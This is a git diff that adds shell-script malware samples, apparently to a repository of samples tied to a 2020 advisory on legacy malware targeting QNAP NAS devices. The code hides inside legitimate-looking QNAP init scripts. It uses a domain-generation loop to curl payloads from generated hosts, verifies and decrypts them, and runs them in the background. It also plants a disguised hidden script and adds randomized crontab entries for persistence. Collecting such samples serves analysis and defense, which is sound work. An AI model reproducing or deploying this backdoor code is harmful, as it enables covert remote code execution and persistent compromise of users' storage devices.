+CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/NOPE; exit 1; } +esac +{ /share/MD0_DATA/NOPE; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='NOPE' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/NOPE; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.config/backup_conf.sh" || chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc new file mode 100644 index 0000000..ea60dcf --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc @@ -0,0 +1,550 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + 